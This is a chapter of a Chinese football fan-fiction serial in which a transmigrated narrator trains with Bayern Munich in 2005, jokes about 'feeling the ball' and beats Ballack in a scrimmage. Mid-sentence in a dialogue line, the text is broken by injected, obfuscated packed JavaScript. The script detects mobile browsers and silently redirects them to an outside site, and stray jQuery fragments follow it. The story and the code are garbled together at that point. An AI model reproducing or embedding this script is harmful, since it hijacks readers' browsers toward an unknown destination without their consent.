2005年，1月18日，慕尼黑。
被闹钟吵醒的时候，我的第一反应是：
好想去冰泳，这具身体真的需要刺激。
特训的劳累并非是睡觉能补过来的。
被子像飞盘一样被我蹬飞，整个人弹射起立。
现在不是睡懒觉的时候，这么告诫着自己，我向着浴室奔去。
镜子里那张脸的气色比灵魂好了太多，不知是好是坏……
别再想了。
迅速洗漱完毕，我换好衣服，又拿起那份资料，重新复习了一遍。
信息迅速滑过了大脑皮层，留下了一丝痕迹，够用了。
拉好拉链，带好围巾，然后推开门，发现门外站着一个人——
菲利普·拉姆。
我：O_O！
他：o_0 ？
我们大眼瞪小眼，双方都在进行一场心理博弈。
“……菲利普？”
不是，考验来得这么快？开门杀啊。
他的表情也有点微妙，但很快调整了过来，露出一个礼貌的微笑。
“早上好，想着你刚搬来不久，可能不知道训练基地的班车点在哪，就过来叫你一起走。”
……原来是我想多了。
“啊……对，我正打算出门。”
他打量了我一眼，“你准备好走了？”
“准备好了。”
“包呢？”
“…包？”
“训练包，”他说，“你打算空手去训练？”
Damn，倒霉熊不是完结了吗？
“开玩笑的，忘拿了。”
我看着他，无比自然的匀速把门关上。
然后，进行一个疯狂翻找。
好在肌肉记忆持续发力中。
手不受控制地拉开衣柜，从里面拎出一个黑色的运动包，拎上，重新开门，整套动作一气呵成。
再次推开门时，拉姆还在门口。
“走吧。”
我们并肩走在慕尼黑的街道上。
空气冷得能看见呼出的白气，我的耳朵冻得有点疼，但不敢表现出来。
“你昨天，”拉姆开口了，“头被砸那下，真的没事？”
“没事，就是有点懵，今天已经好了。”
这一波表现，我给满分。
“那就好。”他没再问。
“巴斯蒂安昨天还说你不对劲，抱着球亲。”
果然被看到了，不愧是未来队长。
“那是……我在感受球。”
“感受球？”
“对，就是……感受它的触感，它的重量，它的……”
我编不下去了。
“你以前不这样的。”
“可能吧，也许被砸开窍了。”
借口，纯粹的借口。
拉姆侧过头看了我一眼，然后又转回去。
“也是，”他收回视线，“那你继续保持。”
说完就加快了一点脚步。
让他想吧，反正我也想不出。
班车已经到了，几个年轻球员站在那里，看到我们一起走过来。
“哟，”小猪开口，“你们俩怎么一起来的？”
“顺路。”拉姆说。
“他家和你家顺路？”小猪挑眉，“我怎么不知道？”
“因为你不住那边。”
小猪噎住了。
旁边几个人笑起来，气氛轻松了一点，感谢他们。
上车，我找了个靠窗的位置坐下。
拉姆坐在我前面一排，小猪一屁股坐在我旁边。
“所以，”小猪压低声音，“你真没被砸坏？”
“没有。”
“那你怎么昨天抱着球亲？”
“我……在感受球。”
他听了，然后爆发出大笑，“感受球！哈哈哈哈哈！菲利普你听到了吗！他说他在感受球！”
全车人都看了过来。
我把脸转向窗外，假装欣赏慕尼黑的街景，有花、有草、有树……其实没有，现在是冬天。
训练基地很快到了。
下车的时候，我注意到停车场里已经停了不少车。
其中一辆黑色的奥迪格外显眼，因为从车上下来的人——
是米夏埃尔·巴拉克。
这次自己倒没移开视线，毕竟类似的人，以后还会见很多。
我跟着大部队往里走，经过他身边的时候，我下意识地点了点头，礼貌性的。
巴拉克也点了点，算是回应。
就这？
人家根本没在意，我什么都不是，字面意思。
训练开始了。
今天的项目和昨天不太一样，更多的是战术演练和分组对抗。
教练把我们分成两组，穿不同颜色的背心，打半场对抗赛。
我被分在替补组，同组的还有小猪、几个年轻球员，以及哈格里夫斯。
比赛开始。
主力组那边有巴拉克、马凯、萨利哈米季奇，进攻火力很猛。
我们这边明显处于劣势，开场五分钟就被压在半场出不来球。
“沃勒！”哈格里夫斯喊了一声，把球传了过来。
我接球，抬头。
面前是巴拉克。
所以现在怎么办？
身体比思维反应更快，一个假动作，向左虚晃，然后向右拨球。
我从他身边抹了过去，过了他。
真的过了！过了那个巴拉克！
但我没时间惊讶，因为前面还有一个人，卢西奥。
巴西后卫正朝我冲过来。
我没有硬来，把球分给了右边插上的小猪，然后自己往前跑。
小猪接球，看了一眼，又把球传回给我。
二过一。
我接到球的时候已经进了禁区，面前只剩下门将——
伦辛，卡恩的替补。
直接起脚，射门。
球进了。
“漂亮！”小猪跑过来拍了我一下，“这配合可以啊
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17531697|203709||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
！”
场边，卡恩抱着手臂看着这边，脸上没什么表情，但也没有骂人。
教练在战术板上记了什么，然后喊：“继续！”
接下来的对抗赛，我发现了这具身体的秘密：
它的肌肉记忆比我想象的强得多。
想跑就能跑的动、跑的准、跑的对，基本会完全听从我的命令。
当然，偶尔也会翻车。
比如有一次，我想做一个漂亮的挑球过人，结果挑高了，球直接飞出边线。
还有一次，想模仿齐达内的马赛回旋，转到一半差点摔倒。
毕竟年轻人嘛，应该被不会注意到，大概。
对抗赛结束后，教练把所有人召集起来，简单总结了几句，然后宣布明天的安排：
上午战术课，下午恢复性训练，后天有一场友谊赛。
“对手是维也纳快速。”教练说，“首发名单明天公布，都回去好好准备。”
小猪靠得很近，把手搭在我肩上，问我：“你说，咱俩能进吗？”
其实这事真没想过，“不一定吧，我还没适应。”
“肯定能进，你今天把巴拉克都过了！”
他看起来很兴奋，“感受球效果那么好？我下次也去试试！”
好吧，这梗好像过不去了。
回了更衣室，队友们三三两两地换衣服、洗澡、聊天。
我坐在自己的柜子前，慢慢解开鞋带，旁边坐着哈格里夫斯。
两人换着衣服，谁也没说话。
过了一会儿，哈格里夫斯突然开口：“今天那个二过一，传得不错。”
他没有看我，语气也很平淡，好像只是随口一说。
“谢谢。”
“嗯。”
两句话就结束了，挺好。
但同时我意识到一件事，这个队里，不是只有我一个人不会社交。
“那个，”我开口，“你明天……”
话没说完，更衣室的门突然被推开。
卡恩走进来，扫了一眼，目光落在我身上。
“沃勒。”
我本能地坐直了，“是。”
“明天战术课之后，加练射门。”
他沒再多说，转身走了。
然后更衣室里安静了几秒，小猪的声音从角落传来。
“恭喜啊，被盯上了。”
“那我是不是该高兴？”
“当然，在射门练好之前。”
周围响起稀稀拉拉的笑声。
拉姆从另一边走过来，经过我身边的时候轻轻说了一句：
“今天感受球的效果不错，明天继续。”
……这梗彻底过不去了。
晚上回到公寓，我已精疲力尽。
什么友谊赛、更衣室……没精力也没心思去管这些。
现在的首要目标：活着
睡前，我眺望着窗外的风景，大脑放空。
远处的安联球场若隐若现，像一个沉默的巨人，等待着它未来的主人。